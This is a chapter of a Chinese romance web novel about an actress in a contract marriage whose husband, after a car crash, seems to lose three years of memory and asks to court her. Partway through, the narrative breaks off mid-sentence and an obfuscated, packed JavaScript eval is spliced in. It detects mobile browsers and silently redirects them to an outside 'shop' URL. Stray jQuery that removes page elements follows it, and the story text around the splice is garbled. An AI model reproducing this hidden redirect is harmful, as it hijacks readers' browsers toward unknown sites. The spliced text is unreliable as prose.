1. 我可以追你吗

作品:《前夫说他喜欢我[GB]

    沈时桑的婚姻即将走到尽头。


    没有感情破裂,私生子成堆,白月光回国等任何狗血因素的影响。


    仅仅是因为她和陆昀修的婚姻是协议婚姻,从今天开始就只剩三个月。


    这件事情,除了她和陆昀修,就只有第三个人知道,那就是他们的管家机器人空空。


    “今日要事提醒:第一,姐姐记得去谈新戏进组相关事宜。”


    哦对,空空是陪着沈时桑长大的,所以管沈时桑叫姐姐。


    “第二,陆昀修记得给空空买新出的电池。”


    姐姐协议婚姻的丈夫,自然不可能喊姐夫的。


    “第三,截止到今天,你们两个的协议婚姻还剩最后三个月。”


    滋——


    对面传来刺耳的椅脚和地的摩擦声。


    沈时桑奇怪地看向突然站起来的陆昀修:“你不吃了吗?”


    陆昀修面前的早饭才堪堪吃了几口,一米九的男人总不可能是小鸟胃。


    但陆昀修只是抿了抿嘴唇,摇头道:“不吃了,有些不舒服,我想去休息会。”


    沈时桑看他脸色确实不好,也就没多说什么,低头继续把自己面前的早饭吃完,出门去工作。


    她最近接到了一个新戏,预计下个月进组,事先还需要一些细节的沟通。


    沈时桑的梦想就是成为超级巨星,但是三代从商的沈家却在这方面意外保守,不同意沈时桑在外面抛头露面,希望她早点结婚。


    为了堵父母的嘴,沈时桑便决定和富商陆家的小儿子陆昀修协议结婚,然后自己继续搞事业。


    至于陆昀修为什么会答应,沈时桑根本就不关心。


    她更关心自己三年过去,怎么还是二线女星,甚至隐隐感觉要降为三线了。


    这对吗?


    这不对。


    所以她和她的团队费了好大一个劲,才谈到了这个戏,导演是名导,剧本是好剧本,还愿意让她演女一号。


    “争一保二”的机遇已经摆在眼前了,她怎么说也要抓住。


    细节沟通得很顺利,沈时桑爽快地签下了合同,与导演和制片人相继握手。


    刚把人送走,还没来得及和自己团队的人庆祝一下,沈时桑口袋里的手机就响了。


    是陆昀修的电话。


    “我先接个电话,你们商量一下等会去哪吃饭庆祝。”


    沈时桑挥挥手示意他们随意,自己走到一旁接电话。


    “喂?”


    “你好,请问您认识陆昀修先生吗?他出了车祸,现在在第一人民医院,紧急联系人填的是您的号码,您现在方便过来吗?”


    陆昀修出了车祸?


    来不及多想,沈时桑就让司机送自己去医院。


    等沈时桑到了医院,陆昀修各项检查已经做完了,因为紧急避险的及时加上车速不算太快,检查结果显示只有一些轻微脑震荡和不太严重的外伤,没有生命危险。


    交警也在医院还没走,沈时桑便先上去了解情况。


    “请问您和陆昀修先生是什么关系?”


    沈时桑毕竟还是公众人物,来医院这种人口流动大且带有一定特殊性的地方,从头到脚都全副武装,头发丝都没露出来,让交警的信任感直线降低。


    “我是他的妻子。”末了,沈时桑还多解释了一句,“我身体不好,来医院怕被传染,就裹得严实了点。”


    交警无法透过厚实的墨镜感受到沈时桑真诚的目光,最后通过沈时桑报上来的手机号勉强承认了沈时桑的说辞,开始说明情况。


    “根据监控显示,陆昀修先生在行驶过程中,忽然偏离车道,撞上了一旁的安全护栏,未造成其他人员伤亡。”


    “酒精测试过后,也没有发现酒驾或醉驾嫌疑。”


    “初步猜测,可能是疲劳驾驶造成的精神恍惚。您作为陆昀修先生的妻子,知道他昨晚睡得好吗?是否存在睡眠不足的情况?”


    沈时桑答不上来。


    她和陆昀修一直是分房睡的,她根本不知道陆昀修的睡眠情况。


    于是她如实回答:“不知道。”


    “陆昀修先生的工作是什么?有没有存在过度工作的情况?”


    这个沈时桑知道:“他家里有钱,和我结婚后一直当家庭主夫,平时就是锻炼和帮我照顾一下我的管家机器人。”


    “那您最近有没有发现陆昀修先生在精神方面有什么异常?”


    沈时桑仔细回想了一会。


    在她的记忆里,陆昀修一直是情绪稳定的代表,结婚近三年从来没见他生气过,而且精神充沛,能在健身房泡一下午后还来机场接她。


    “没有什么异常。”沈时桑回答,“不过今天早上吃早饭的时候,他说他有点不舒服。”


    交警点点头,记录下沈时桑说的话。


    “最后一个问题,您知道他今天为什么开车出门吗?”


    沈时桑想起今早空空说的话。


    “他应该是要去帮我的管家机器人买新出的电池。”


    问完这些问题,交警就拿着做好的笔录先一步离开,沈时桑也得以去见陆昀修。


    沈时桑在来之前就在电话里嘱咐给陆昀修安排单人病房。


    不说陆昀修这种娇娇公子住不住得惯多人病房,沈时桑也不好在多人病房里摘下墨镜和口罩。


    到病房的时候,陆昀修还没醒,里面只有在做最后结束工作的两个护士。


    “陆昀修先生应该过会就醒了,有事可以按床头的呼叫铃,我们会过来。”


    沈时桑点头道谢,待两名护士都离开后,才把口罩和墨镜摘下。


    她环视了一下病房周遭的环境,最后目光落在了躺在病床上的陆昀修的脸上。


    即使头上包了一圈纱布,也没有损伤陆昀修的美貌一分,反而更加突出了陆昀修建模的抗打,尤其是他高挺的鼻梁和形状完美的嘴唇。因受伤呈现的病态削弱了面部整体的攻击性,添了几分脆弱感。


    不错。


    沈时桑再次对自己挑选联姻对象的眼光表示了肯定。


    可没等沈时桑多欣赏几眼,经纪人的电话就打进来了。


    “你那边怎么样?”


    沈时桑放低声音:“目前没什么问题。”


    “我就说你不应该这么早结婚,对你没什么好处。”


    经纪人刚要接手沈时桑时,沈时桑就说自己要结婚了,经纪人百般劝阻无果想换艺人,最后还是看沈时桑有潜力才咬牙接下了。


    这么多年经纪人不止一次念叨沈时桑之所以停留在二线,肯定是家里那位挡了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471049|201481||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    财运,完全不知道其实她丈夫是本市首富的儿子。


    沈时桑已经习惯了经纪人的抱怨,只是含糊地安慰:“没事的,反正很快就要离婚了。”


    经纪人的声音瞬间激动了许多,“早该这样了”之类的话说了一大堆。


    沈时桑漫不经心地听着,嘴里胡乱应着,眼睛四处乱瞟,猛地和一双深黑色的眼眸对上。


    沈时桑一愣,冲对面说了一句“我还有事”,就把电话挂了,和陆昀修大眼瞪小眼。


    结婚快三年了,都没和陆昀修对视过这么久,更别说陆昀修还是第一次这么直勾勾盯着她看。


    之前陆昀修和她对视上都会很快避开视线,就好像她是什么洪水猛兽一样。


    最后是沈时桑轻咳两声,打破沉默:“是我吵到你了吗?”


    陆昀修摇头。


    场面再次尬住,结婚两年多,归来仍是最熟悉的陌生。


    沈时桑费劲巴拉地从脑子角落里搜刮话题:“那你有没有哪里不舒服?我给你叫医生护士过来。”


    陆昀修再次摇头,依旧没有说话,只是盯着沈时桑看。


    这种眼神沈时桑很熟悉,和她的粉丝们看她的时候很像。


    沈时桑被自己的联想恶寒到,也不想再和一个闷葫芦这么尴尬地待下去,想着要不要走。


    “既然你没事,那我……”


    “你是要离婚了吗?”


    两个人同时出声,陆昀修先把话说完。


    沈时桑觉得这话有点奇怪,马上要离婚这事,陆昀修能不知道?


    “对。”秉着对待病人要有耐心的原则,沈时桑还是回答了。


    可谁知陆昀修却忽然笑了起来,一双桃花眼因着笑意微微上挑,带有几分魅惑。


    他说:“那我可以追求你吗?”


    “什么?”沈时桑还以为自己听错了。


    陆昀修表情诚恳,一字一句道:“我对你一见钟情,既然你要离婚了,我可以追求你吗?”


    沈时桑有那一瞬间觉得陆昀修说的不是“我可以追求你吗”,而是“我可以追求你妈”。


    无论从哪个角度,她都觉得后者可能性更大一点。


    见沈时桑愣在那里没有说话,陆昀修挣扎着想坐起来,却忘了自己头上有伤,突发眩晕,整个人摇摇欲坠。


    沈时桑吓了一跳,三步并作两步上前把人扶住,反而被陆昀修顺势抓住手腕。


    陆昀修半靠在沈时桑的臂弯里,抬起那张毫无瑕疵的脸,眼神炽热,对沈时桑说:


    “不懂得珍惜你的那个男人简直罪该万死。”


    “我一定对你比他对你好一百倍,一千倍,一万倍。”


    “我叫陆昀修,是A大戏剧影视文学专业二年级的学生,身高191厘米,身体健康无任何隐性显性疾病,不抽烟不喝酒,母胎单身。”


    “可以加一下企鹅,给我一个追求你的机会吗?”


    听到最后,沈时桑脸色麻木,身体僵硬,脑子一片空白。


    她有点怀念刚刚一声不吭的闷葫芦版陆昀修了。


    “你怎么不说话?我的话说完了,你觉得呢?”


    在陆昀修殷切的注视下,沈时桑抽出自己的手,按下床头的呼叫铃。


    “我觉得你需要再检查一下。”